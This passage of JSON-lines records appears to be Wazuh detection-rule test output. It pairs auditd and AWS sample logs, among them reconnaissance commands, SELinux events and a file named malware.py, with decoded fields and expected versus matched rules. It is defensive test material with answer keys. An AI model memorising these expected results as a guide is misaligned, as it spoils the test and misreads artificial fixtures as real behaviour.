"audit.key", "audit.pid", "audit.ppid", "audit.session", "audit.sgid", "audit.success", "audit.suid", "audit.syscall", "audit.tty", "audit.type", "audit.uid"], "rule": "92603", "level": "6", "expected_decoder": "auditd", "expected_rule": "92603", "rule_matches_expected": true, "ini_file": "audit_scp.ini", "section": "SCP used to copy a file over SSH"} +{"log": "type=SYSCALL msg=audit(1624476656.044:9687): arch=c000003e syscall=59 success=yes exit=0 a0=c4f630 a1=b370a0 a2=b3df40 a3=7ffe0c9f12e0 items=2 ppid=3177 pid=4646 auid=1198400500 uid=1198400500 gid=1198400513 euid=1198400500 suid=1198400500 fsuid=1198400500 egid=1198400513 sgid=1198400513 fsgid=1198400513 tty=pts0 ses=4 comm=\"ps\" exe=\"/usr/bin/ps\" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=\"recon\"\\u001DARCH=x86_64 SYSCALL=execve AUID=\"administrator@ExchangeTest.com\" UID=\"administrator@ExchangeTest.com\" GID=646F6D61696E2075736572734045786368616E6765546573742E636F6D EUID=\"administrator@ExchangeTest.com\" SUID=\"administrator@ExchangeTest.com\" FSUID=\"administrator@ExchangeTest.com\" EGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D SGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D FSGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D type=EXECVE msg=audit(1624476656.044:9687): argc=2 a0=\"ps\" a1=\"ax\" type=CWD msg=audit(1624476656.044:9687): cwd=\"/home/administrator@ExchangeTest.com\" type=PATH msg=audit(1624476656.044:9687): item=0 name=\"/usr/bin/ps\" inode=574271 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"root\" OGID=\"root\" type=PATH msg=audit(1624476656.044:9687): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=4636927 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"root\" OGID=\"root\" type=PROCTITLE msg=audit(1624476656.044:9687): proctitle=7073006178", "decoder": "auditd", "parent": "auditd", "fields": {"audit.arch": "c000003e", "audit.auid": "1198400500", "audit.command": "ps", "audit.cwd": "/home/administrator@ExchangeTest.com", "audit.egid": "1198400513", "audit.euid": "1198400500", "audit.exe": "/usr/bin/ps", "audit.execve.a0": "ps", "audit.execve.a1": "ax", "audit.execve.argc": "2", "audit.exit": "0", "audit.file.inode": "574271", "audit.file.mode": "0100755", "audit.file.name": "/usr/bin/ps", "audit.fsgid": "1198400513", "audit.fsuid": "1198400500", "audit.gid": "1198400513", "audit.id": "9687", "audit.key": "recon", "audit.pid": "4646", "audit.ppid": "3177", "audit.session": "4", "audit.sgid": "1198400513", "audit.success": "yes", "audit.suid": "1198400500", "audit.syscall": "59", "audit.tty": "pts0", "audit.type": "SYSCALL", "audit.uid": "1198400500"}, "field_names": ["audit.arch", "audit.auid", "audit.command", "audit.cwd", "audit.egid", "audit.euid", "audit.exe", "audit.execve.a0", "audit.execve.a1", "audit.execve.argc", "audit.exit", "audit.file.inode", "audit.file.mode", "audit.file.name", "audit.fsgid", "audit.fsuid", "audit.gid", "audit.id", "audit.key", "audit.pid", "audit.ppid", "audit.session", "audit.sgid", "audit.success", "audit.suid", "audit.syscall", "audit.tty", "audit.type", "audit.uid"], "rule": "92604", "level": "6", "expected_decoder": "auditd", "expected_rule": "92604", "rule_matches_expected": true, "ini_file": "audit_scp.ini", "section": "Processes running for all users were queried with ps command."} +{"log": "type=SYSCALL msg=audit(1624476775.094:9702): arch=c000003e syscall=59 success=yes exit=0 a0=c4f630 a1=b3a580 a2=b3df40 a3=7ffe0c9f12e0 items=2 ppid=3177 pid=4697 auid=1198400500 uid=1198400500 gid=1198400513 euid=1198400500 suid=1198400500 fsuid=1198400500 egid=1198400513 sgid=1198400513 fsgid=1198400513 tty=pts0 ses=4 comm=\"ls\" exe=\"/usr/bin/ls\" subj=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023 key=\"recon\"\\u001DARCH=x86_64 SYSCALL=execve AUID=\"administrator@ExchangeTest.com\" UID=\"administrator@ExchangeTest.com\" GID=646F6D61696E2075736572734045786368616E6765546573742E636F6D EUID=\"administrator@ExchangeTest.com\" SUID=\"administrator@ExchangeTest.com\" FSUID=\"administrator@ExchangeTest.com\" EGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D SGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D FSGID=646F6D61696E2075736572734045786368616E6765546573742E636F6D type=EXECVE msg=audit(1624476775.094:9702): argc=4 a0=\"ls\" a1=\"--color=auto\" a2=\"-lsahR\" a3=\"/var/\" type=CWD msg=audit(1624476775.094:9702): cwd=\"/home/administrator@ExchangeTest.com\" type=PATH msg=audit(1624476775.094:9702): item=0 name=\"/usr/bin/ls\" inode=416001 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:bin_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"root\" OGID=\"root\" type=PATH msg=audit(1624476775.094:9702): item=1 name=\"/lib64/ld-linux-x86-64.so.2\" inode=4636927 dev=fd:00 mode=0100755 ouid=0 ogid=0 rdev=00:00 obj=system_u:object_r:ld_so_t:s0 objtype=NORMAL cap_fp=0000000000000000 cap_fi=0000000000000000 cap_fe=0 cap_fver=0\\u001DOUID=\"root\" OGID=\"root\" type=PROCTITLE msg=audit(1624476775.094:9702): proctitle=6C73002D2D636F6C6F723D6175746F002D6C73616852002F7661722F", "decoder": "auditd", "parent": "auditd", "fields": {"audit.arch": "c000003e", "audit.auid": "1198400500", "audit.command": "ls", "audit.cwd": "/home/administrator@ExchangeTest.com", "audit.egid": "1198400513", "audit.euid": "1198400500", "audit.exe": "/usr/bin/ls", "audit.execve.a0": "ls", "audit.execve.a1": "--color=auto", "audit.execve.a2": "-lsahR", "audit.execve.a3": "/var/", "audit.execve.argc": "4", "audit.exit": "0", "audit.file.inode": "416001", "audit.file.mode": "0100755", "audit.file.name": "/usr/bin/ls", "audit.fsgid": "1198400513", "audit.fsuid": "1198400500", "audit.gid": "1198400513", "audit.id": "9702", "audit.key": "recon", "audit.pid": "4697", "audit.ppid": "3177", "audit.session": "4", "audit.sgid": "1198400513", "audit.success": "yes", "audit.suid": "1198400500", "audit.syscall": "59", "audit.tty": "pts0", "audit.type": "SYSCALL", "audit.uid": "1198400500"}, "field_names": ["audit.arch", "audit.auid", "audit.command", "audit.cwd", "audit.egid", "audit.euid", "audit.exe", "audit.execve.a0", "audit.execve.a1", "audit.execve.a2", "audit.execve.a3", "audit.execve.argc", "audit.exit", "audit.file.inode", "audit.file.mode", "audit.file.name", "audit.fsgid", "audit.fsuid", "audit.gid", "audit.id", "audit.key", "audit.pid", "audit.ppid", "audit.session", "audit.sgid", "audit.success", "audit.suid", "audit.syscall", "audit.tty", "audit.type", "audit.uid"], "rule": "92605", "level": "6", "expected_decoder": "auditd", "expected_rule": "92605", "rule_matches_expected": true, "ini_file": "audit_scp.ini", "section": "Executed recursive query of all files using ls command."} +{"log": "type=DAEMON_RESUME msg=audit(1300385209.456:8846): auditd resuming logging, sending auid=? pid=? subj=? res=success", "decoder": "auditd", "parent": "", "fields": {"audit.auid": "?", "audit.id": "8846", "audit.pid": "?", "audit.res": "success", "audit.type": "DAEMON_RESUME"}, "field_names": ["audit.auid", "audit.id", "audit.pid", "audit.res", "audit.type"], "rule": "80701", "level": "1", "expected_decoder": "auditd", "expected_rule": "80701", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Daemon Start / Resume."} +{"log": "type=DAEMON_START msg=audit(1450875964.131:8728): auditd start, ver=2.4 format=raw kernel=3.16.0-4-amd64 auid=4294967295 pid=1437 res=failed", "decoder": "auditd", "parent": "", "fields": {"audit.auid": "4294967295", "audit.id": "8728", "audit.pid": "1437", "audit.res": "failed", "audit.type": "DAEMON_START"}, "field_names": ["audit.auid", "audit.id", "audit.pid", "audit.res", "audit.type"], "rule": "80702", "level": "10", "expected_decoder": "auditd", "expected_rule": "80702", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Daemon Start / Resume FAILED."} +{"log": "type=DAEMON_END msg=audit(1450876093.165:8729): auditd normal halt, sending auid=0 pid=1 subj= res=success", "decoder": "auditd", "parent": "", "fields": {"audit.auid": "0", "audit.id": "8729", "audit.pid": "1", "audit.res": "success", "audit.type": "DAEMON_END"}, "field_names": ["audit.auid", "audit.id", "audit.pid", "audit.res", "audit.type"], "rule": "80703", "level": "10", "expected_decoder": "auditd", "expected_rule": "80703", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Daemon End."} +{"log": "type=DAEMON_ABORT msg=audit(1339336882.189:9206): auditd error halt, auid=4294967295 pid=3095 res=failed", "decoder": "auditd", "parent": "", "fields": {"audit.auid": "4294967295", "audit.id": "9206", "audit.pid": "3095", "audit.res": "failed", "audit.type": "DAEMON_ABORT"}, "field_names": ["audit.auid", "audit.id", "audit.pid", "audit.res", "audit.type"], "rule": "80704", "level": "10", "expected_decoder": "auditd", "expected_rule": "80704", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Daemon Abort."} +{"log": "type=CONFIG_CHANGE msg=audit(1368831799.081:466947): auid=4294967295 ses=4294967295 op=\"remove rule\" path=\"/path/to/my/bin0\" key=(null) list=4 res=1", "decoder": "auditd", "parent": "auditd", "fields": {"audit.id": "466947", "audit.key": "null", "audit.list": "4", "audit.res": "1", "audit.type": "CONFIG_CHANGE"}, "field_names": ["audit.id", "audit.key", "audit.list", "audit.res", "audit.type"], "rule": "80705", "level": "3", "expected_decoder": "auditd", "expected_rule": "80705", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Configuration changed."} +{"log": "type=DAEMON_CONFIG msg=audit(1264985324.554:4915): auditd error getting hup info - no change, sending auid=? pid=? subj=? res=failed", "decoder": "auditd", "parent": "", "fields": {"audit.auid": "?", "audit.id": "4915", "audit.pid": "?", "audit.res": "failed", "audit.type": "DAEMON_CONFIG"}, "field_names": ["audit.auid", "audit.id", "audit.pid", "audit.res", "audit.type"], "rule": "80705", "level": "3", "expected_decoder": "auditd", "expected_rule": "80705", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Configuration changed."} +{"log": "type=ANOM_PROMISCUOUS msg=audit(1390181243.575:738): dev=vethDvSeyL prom=256 old_prom=256 auid=4294967295 uid=0 gid=0 ses=4294967295", "decoder": "auditd", "parent": "auditd", "fields": {"audit.auid": "4294967295", "audit.dev": "vethDvSeyL", "audit.gid": "0", "audit.id": "738", "audit.old_prom": "256", "audit.prom": "256", "audit.session": "4294967295", "audit.type": "ANOM_PROMISCUOUS", "audit.uid": "0"}, "field_names": ["audit.auid", "audit.dev", "audit.gid", "audit.id", "audit.old_prom", "audit.prom", "audit.session", "audit.type", "audit.uid"], "rule": "80710", "level": "10", "expected_decoder": "auditd", "expected_rule": "80710", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Device enables promiscuous mode."} +{"log": "type=ANOM_ABEND msg=audit(1222174623.498:608): auid=4294967295 uid=0 gid=7 ses=4294967295 subj=system_u:system_r:cupsd_t:s0-s0:c0.c1023 pid=7192 comm=\"ipp\" sig=11", "decoder": "auditd", "parent": "", "fields": {"audit.auid": "4294967295", "audit.command": "\"ipp\"", "audit.gid": "7", "audit.id": "608", "audit.pid": "7192", "audit.session": "4294967295", "audit.type": "ANOM_ABEND", "audit.uid": "0"}, "field_names": ["audit.auid", "audit.command", "audit.gid", "audit.id", "audit.pid", "audit.session", "audit.type", "audit.uid"], "rule": "80711", "level": "10", "expected_decoder": "auditd", "expected_rule": "80711", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Process ended abnormally."} +{"log": "type=ANOM_EXEC msg=audit(1222174623.498:608): user pid=12965 uid=1 auid=2 ses=1 msg='op=PAM:unix_chkpwd acct=\"snap\" exe=\"/sbin/unix_chkpwd\" (hostname=?, addr=?, terminal=pts/0 res=failed)'", "decoder": "auditd", "parent": "", "fields": {"audit.auid": "2", "audit.directory.name": "?,", "audit.exe": "\"/sbin/unix_chkpwd\"", "audit.id": "608", "audit.pid": "12965", "audit.res": "failed", "audit.session": "1", "audit.type": "ANOM_EXEC", "audit.uid": "1", "srcip": "?,"}, "field_names": ["audit.auid", "audit.directory.name", "audit.exe", "audit.id", "audit.pid", "audit.res", "audit.session", "audit.type", "audit.uid", "srcip"], "rule": "80712", "level": "10", "expected_decoder": "auditd", "expected_rule": "80712", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Execution of a file ended abnormally."} +{"log": "type=ANOM_MK_EXEC msg=audit(1234567890.123:1234): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "1234", "audit.type": "ANOM_MK_EXEC"}, "field_names": ["audit.id", "audit.type"], "rule": "80713", "level": "7", "expected_decoder": "auditd", "expected_rule": "80713", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: File is made executable."} +{"log": "type=ANOM_ACCESS_FS msg=audit(1234567890.123:1234): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "1234", "audit.type": "ANOM_ACCESS_FS"}, "field_names": ["audit.id", "audit.type"], "rule": "80714", "level": "8", "expected_decoder": "auditd", "expected_rule": "80714", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: file or a directory access ended abnormally."} +{"log": "type=ANOM_AMTU_FAIL msg=audit(1234567890.123:1234): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "1234", "audit.type": "ANOM_AMTU_FAIL"}, "field_names": ["audit.id", "audit.type"], "rule": "80715", "level": "8", "expected_decoder": "auditd", "expected_rule": "80715", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Failure of the Abstract- Machine Test Utility (AMTU) detected."} +{"log": "type=ANOM_MAX_DAC msg=audit(1234567890.123:1234): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "1234", "audit.type": "ANOM_MAX_DAC"}, "field_names": ["audit.id", "audit.type"], "rule": "80716", "level": "8", "expected_decoder": "auditd", "expected_rule": "80716", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Maximum amount of Discretionary Access Control (DAC) or Mandatory Access Control (MAC) failures reached."} +{"log": "type=ANOM_AMTU_FAIL msg=audit(1234567890.123:1234): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "1234", "audit.type": "ANOM_AMTU_FAIL"}, "field_names": ["audit.id", "audit.type"], "rule": "80715", "level": "8", "expected_decoder": "auditd", "expected_rule": "80717", "rule_matches_expected": false, "ini_file": "auditd.ini", "section": "Auditd: Role-Based Access Control (RBAC) failure detected."} +{"log": "type=ANOM_RBAC_INTEGRITY_FAIL msg=audit(1234567890.123:1234): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "1234", "audit.type": "ANOM_RBAC_INTEGRITY_FAIL"}, "field_names": ["audit.id", "audit.type"], "rule": "80717", "level": "8", "expected_decoder": "auditd", "expected_rule": "80717", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Role-Based Access Control (RBAC) failure detected."} +{"log": "type=ANOM_ADD_ACCT msg=audit(1450770603.209:3300446): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "3300446", "audit.type": "ANOM_ADD_ACCT"}, "field_names": ["audit.id", "audit.type"], "rule": "80718", "level": "3", "expected_decoder": "auditd", "expected_rule": "80718", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: User-space account addition ended abnormally."} +{"log": "type=ANOM_DEL_ACCT msg=audit(1450770603.209:3300446): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "3300446", "audit.type": "ANOM_DEL_ACCT"}, "field_names": ["audit.id", "audit.type"], "rule": "80719", "level": "3", "expected_decoder": "auditd", "expected_rule": "80719", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: User-space account deletion ended abnormally."} +{"log": "type=ANOM_MOD_ACCT msg=audit(1450770603.209:3300446): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "3300446", "audit.type": "ANOM_MOD_ACCT"}, "field_names": ["audit.id", "audit.type"], "rule": "80720", "level": "3", "expected_decoder": "auditd", "expected_rule": "80720", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: User-space account modification ended abnormally."} +{"log": "type=ANOM_ROOT_TRANS msg=audit(1450770603.209:3300446): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "3300446", "audit.type": "ANOM_ROOT_TRANS"}, "field_names": ["audit.id", "audit.type"], "rule": "80721", "level": "10", "expected_decoder": "auditd", "expected_rule": "80721", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: User becomes root."} +{"log": "type=ANOM_LOGIN_ACCT msg=audit(1450770603.209:3300446): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "3300446", "audit.type": "ANOM_LOGIN_ACCT"}, "field_names": ["audit.id", "audit.type"], "rule": "80722", "level": "5", "expected_decoder": "auditd", "expected_rule": "80722", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Account login attempt ended abnormally."} +{"log": "type=ANOM_LOGIN_FAILURES msg=audit(1450770603.209:3300446): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "3300446", "audit.type": "ANOM_LOGIN_FAILURES"}, "field_names": ["audit.id", "audit.type"], "rule": "80723", "level": "5", "expected_decoder": "auditd", "expected_rule": "80723", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Limit of failed login attempts reached."} +{"log": "type=ANOM_LOGIN_LOCATION msg=audit(1450770603.209:3300446): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "3300446", "audit.type": "ANOM_LOGIN_LOCATION"}, "field_names": ["audit.id", "audit.type"], "rule": "80724", "level": "5", "expected_decoder": "auditd", "expected_rule": "80724", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Login attempt from a forbidden location."} +{"log": "type=ANOM_LOGIN_SESSIONS msg=audit(1450770603.209:3300446): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "3300446", "audit.type": "ANOM_LOGIN_SESSIONS"}, "field_names": ["audit.id", "audit.type"], "rule": "80725", "level": "4", "expected_decoder": "auditd", "expected_rule": "80725", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Login attempt reached the maximum amount of concurrent sessions."} +{"log": "type=ANOM_LOGIN_TIME msg=audit(1450770603.209:3300446): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "3300446", "audit.type": "ANOM_LOGIN_TIME"}, "field_names": ["audit.id", "audit.type"], "rule": "80726", "level": "5", "expected_decoder": "auditd", "expected_rule": "80726", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Login attempt is made at a time when it is prevented."} +{"log": "type=AVC msg=audit(1226270358.848:238): avc: denied { write } for pid=13349 comm=\"certwatch\" name=\"cache\" dev=dm-0 ino=218171 scontext=system_u:system_r:certwatch_t:s0 tcontext=system_u:object_r:var_t:s0 tclass=dir", "decoder": "auditd", "parent": "", "fields": {"audit.command": "\"certwatch\"", "audit.directory.name": "\"cache\"", "audit.id": "238", "audit.pid": "13349", "audit.type": "AVC"}, "field_names": ["audit.command", "audit.directory.name", "audit.id", "audit.pid", "audit.type"], "rule": "80730", "level": "3", "expected_decoder": "auditd", "expected_rule": "80730", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: SELinux permission check."} +{"log": "type=MAC_STATUS msg=audit(1336836093.835:406): enforcing=1 old_enforcing=0 auid=0 ses=2", "decoder": "auditd", "parent": "auditd", "fields": {"audit.auid": "0", "audit.enforcing": "1", "audit.id": "406", "audit.old_enforcing": "0", "audit.session": "2", "audit.type": "MAC_STATUS"}, "field_names": ["audit.auid", "audit.enforcing", "audit.id", "audit.old_enforcing", "audit.session", "audit.type"], "rule": "80731", "level": "10", "expected_decoder": "auditd", "expected_rule": "80731", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: SELinux mode (enforcing, permissive, off) is changed."} +{"log": "type=SELINUX_ERR msg=audit(1311948547.151:138): op=security_compute_av reason=bounds scontext=system_u:system_r:anon_webapp_t:s0-s0:c0,c100,c200 tcontext=system_u:object_r:security_t:s0 tclass=dir perms=ioctl,read,lock", "decoder": "auditd", "parent": "", "fields": {"audit.id": "138", "audit.type": "SELINUX_ERR"}, "field_names": ["audit.id", "audit.type"], "rule": "80732", "level": "10", "expected_decoder": "auditd", "expected_rule": "80732", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: SELinux error."} +{"log": "type=USER_SELINUX_ERR msg=audit(1311948547.151:138): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "138", "audit.type": "USER_SELINUX_ERR"}, "field_names": ["audit.id", "audit.type"], "rule": "80732", "level": "10", "expected_decoder": "auditd", "expected_rule": "80732", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: SELinux error."} +{"log": "type=CRYPTO_REPLAY_USER msg=audit(1234567890.123:1234): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "1234", "audit.type": "CRYPTO_REPLAY_USER"}, "field_names": ["audit.id", "audit.type"], "rule": "80740", "level": "12", "expected_decoder": "auditd", "expected_rule": "80740", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Replay attack detected."} +{"log": "type=CHGRP_ID msg=audit(1450770603.209:3300446): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "3300446", "audit.type": "CHGRP_ID"}, "field_names": ["audit.id", "audit.type"], "rule": "80741", "level": "5", "expected_decoder": "auditd", "expected_rule": "80741", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: Group ID changed."} +{"log": "type=CHUSER_ID msg=audit(1450770603.209:3300446): Text", "decoder": "auditd", "parent": "", "fields": {"audit.id": "3300446", "audit.type": "CHUSER_ID"}, "field_names": ["audit.id", "audit.type"], "rule": "80742", "level": "5", "expected_decoder": "auditd", "expected_rule": "80742", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Auditd: User ID changed."} +{"log": "type=SYSCALL msg=audit(1479982525.380:50): arch=c000003e syscall=2 success=yes exit=3 a0=7ffedc40d83b a1=941 a2=1b6 a3=7ffedc40cce0 items=2 ppid=432 pid=3333 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=2 comm=\"touch\" exe=\"/bin/touch\" key=\"audit-wazuh-w\" type=CWD msg=audit(1479982525.380:50): cwd=\"/var/log/audit\" type=PATH msg=audit(1479982525.380:50): item=0 name=\"/var/log/audit/tmp_directory1/\" inode=399849 dev=ca:02 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT type=PATH msg=audit(1479982525.380:50): item=1 name=\"/var/log/audit/tmp_directory1/malware.py\" inode=399852 dev=ca:02 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE type=PROCTITLE msg=audit(1479982525.380:50): proctitle=746F756368002F7661722F6C6F672F61756469742F746D705F6469726563746F7279312F6D616C776172652E7079", "decoder": "auditd", "parent": "auditd", "fields": {"audit.arch": "c000003e", "audit.auid": "0", "audit.command": "touch", "audit.cwd": "/var/log/audit", "audit.directory.inode": "399849", "audit.directory.mode": "040755", "audit.directory.name": "/var/log/audit/tmp_directory1/", "audit.egid": "0", "audit.euid": "0", "audit.exe": "/bin/touch", "audit.exit": "3", "audit.file.inode": "399852", "audit.file.mode": "0100644", "audit.file.name": "/var/log/audit/tmp_directory1/malware.py", "audit.fsgid": "0", "audit.fsuid": "0", "audit.gid": "0", "audit.id": "50", "audit.key": "audit-wazuh-w", "audit.pid": "3333", "audit.ppid": "432", "audit.session": "2", "audit.sgid": "0", "audit.success": "yes", "audit.suid": "0", "audit.syscall": "2", "audit.tty": "pts0", "audit.type": "SYSCALL", "audit.uid": "0"}, "field_names": ["audit.arch", "audit.auid", "audit.command", "audit.cwd", "audit.directory.inode", "audit.directory.mode", "audit.directory.name", "audit.egid", "audit.euid", "audit.exe", "audit.exit", "audit.file.inode", "audit.file.mode", "audit.file.name", "audit.fsgid", "audit.fsuid", "audit.gid", "audit.id", "audit.key", "audit.pid", "audit.ppid", "audit.session", "audit.sgid", "audit.success", "audit.suid", "audit.syscall", "audit.tty", "audit.type", "audit.uid"], "rule": "80790", "level": "3", "expected_decoder": "auditd", "expected_rule": "80790", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Audit: Created: $(audit.file.name)."} +{"log": "node=localhost type=SYSCALL msg=audit(1479982525.380:50): arch=c000003e syscall=2 success=yes exit=3 a0=7ffedc40d83b a1=941 a2=1b6 a3=7ffedc40cce0 items=2 ppid=432 pid=3333 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=2 comm=\"touch\" exe=\"/bin/touch\" key=\"audit-wazuh-w\" type=CWD msg=audit(1479982525.380:50): cwd=\"/var/log/audit\" type=PATH msg=audit(1479982525.380:50): item=0 name=\"/var/log/audit/tmp_directory1/\" inode=399849 dev=ca:02 mode=040755 ouid=0 ogid=0 rdev=00:00 nametype=PARENT type=PATH msg=audit(1479982525.380:50): item=1 name=\"/var/log/audit/tmp_directory1/malware.py\" inode=399852 dev=ca:02 mode=0100644 ouid=0 ogid=0 rdev=00:00 nametype=CREATE type=PROCTITLE msg=audit(1479982525.380:50): proctitle=746F756368002F7661722F6C6F672F61756469742F746D705F6469726563746F7279312F6D616C776172652E7079", "decoder": "auditd", "parent": "auditd", "fields": {"audit.arch": "c000003e", "audit.auid": "0", "audit.command": "touch", "audit.cwd": "/var/log/audit", "audit.directory.inode": "399849", "audit.directory.mode": "040755", "audit.directory.name": "/var/log/audit/tmp_directory1/", "audit.egid": "0", "audit.euid": "0", "audit.exe": "/bin/touch", "audit.exit": "3", "audit.file.inode": "399852", "audit.file.mode": "0100644", "audit.file.name": "/var/log/audit/tmp_directory1/malware.py", "audit.fsgid": "0", "audit.fsuid": "0", "audit.gid": "0", "audit.id": "50", "audit.key": "audit-wazuh-w", "audit.pid": "3333", "audit.ppid": "432", "audit.session": "2", "audit.sgid": "0", "audit.success": "yes", "audit.suid": "0", "audit.syscall": "2", "audit.tty": "pts0", "audit.type": "SYSCALL", "audit.uid": "0"}, "field_names": ["audit.arch", "audit.auid", "audit.command", "audit.cwd", "audit.directory.inode", "audit.directory.mode", "audit.directory.name", "audit.egid", "audit.euid", "audit.exe", "audit.exit", "audit.file.inode", "audit.file.mode", "audit.file.name", "audit.fsgid", "audit.fsuid", "audit.gid", "audit.id", "audit.key", "audit.pid", "audit.ppid", "audit.session", "audit.sgid", "audit.success", "audit.suid", "audit.syscall", "audit.tty", "audit.type", "audit.uid"], "rule": "80790", "level": "3", "expected_decoder": "auditd", "expected_rule": "80790", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Audit: Created: $(audit.file.name)."} +{"log": "type=ACCT_LOCK msg=audit(1630937849.448:891): pid=4171 uid=0 auid=1000 ses=3 subj=unconfined_u:unconfined_r:passwd_t:s0-s0:c0.c1023 msg='op=locked-password id=1001 exe=\"/usr/bin/passwd\" hos>", "decoder": "auditd", "parent": "", "fields": {"audit.auid": "1000", "audit.exe": "\"/usr/bin/passwd\"", "audit.id": "891", "audit.pid": "4171", "audit.session": "3", "audit.type": "ACCT_LOCK", "audit.uid": "0"}, "field_names": ["audit.auid", "audit.exe", "audit.id", "audit.pid", "audit.session", "audit.type", "audit.uid"], "rule": "80793", "level": "8", "expected_decoder": "auditd", "expected_rule": "80793", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Audit: Passwd was used to lock an account."} +{"log": "type=ACCT_UNLOCK msg=audit(1630937871.591:892): pid=4172 uid=0 auid=1000 ses=3 subj=unconfined_u:unconfined_r:passwd_t:s0-s0:c0.c1023 msg='op=unlocked-password id=1001 exe=\"/usr/bin/passwd\">", "decoder": "auditd", "parent": "", "fields": {"audit.auid": "1000", "audit.exe": "\"/usr/bin/passwd\">", "audit.id": "892", "audit.pid": "4172", "audit.session": "3", "audit.type": "ACCT_UNLOCK", "audit.uid": "0"}, "field_names": ["audit.auid", "audit.exe", "audit.id", "audit.pid", "audit.session", "audit.type", "audit.uid"], "rule": "80794", "level": "8", "expected_decoder": "auditd", "expected_rule": "80794", "rule_matches_expected": true, "ini_file": "auditd.ini", "section": "Audit: Passwd was used to unlock an account."} +{"log": "{\"integration\": \"aws\", \"aws\": {\"log_info\": {\"aws_account_alias\": \"\", \"log_file\": \"access_logs/2021-04-29-09-49-06-51F541DE27C2AC50\", \"s3bucket\": \"wazuh-aws-wodle\"}, \"bucket_owner\": \"3ab1235e25ea9e94ff9b7e4e379ba6b0c872cd36c096e1ac8cce7df433b47101\", \"bucket\": \"wazuh-cloudtrail\", \"time\": \"29/Apr/2021:08:47:53 +0000\", \"remote_ip\": \"92.57.74.50\", \"requester\": \"arn:aws:iam::166157441623:user/david.iglesias\", \"request_id\": \"T3BW07JM2HMSJH17\", \"operation\": \"REST.HEAD.BUCKET\", \"key\": \"-\", \"request_uri\": \"HEAD /wazuh-cloudtrail HTTP/1.1\", \"http_status\": \"200\", \"error_code\": \"-\", \"bytes_sent\": \"-\", \"object_sent\": \"-\", \"total_time\": \"29\", \"turn_around_time\": \"28\", \"referer\": \"-\", \"user_agent\": 